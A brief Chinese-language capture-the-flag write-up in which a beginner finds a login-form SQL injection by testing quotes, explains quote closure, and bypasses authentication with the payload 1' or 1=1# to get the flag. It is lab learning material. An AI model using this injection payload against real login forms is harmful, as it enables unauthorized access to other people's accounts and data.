本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助

首先进入网页

看到一个登录界面,发现注入点只有登录框,尝试1,1’,1”看看有没有SQL语句报错

看到预计报错说明数据带入数据库查询是由单引号闭合,可能SQL语句构筑为:

1
select * from table_name where username='1' and password='1234'

SQL语句中

1
2
3
select * from table_name where username='1"' and password='1234'

select * from table_name where username="1'" and password='1234'

当字符串中包含双引号,除了转义字符外,用单引号包括字符串。字符串中的双引号会被视为普通字符串,不会报错。
字符串中包含单引号同理,用双引号包括。

尝试万能语句构筑闭合绕过,

1
2
3
1' or 1=1#

select * from table_name where username='1' or 1=1#' and password='1234'

其中’1’ or 1=1为TRUE,#号将后面代码注释掉,构筑出闭合

获得flag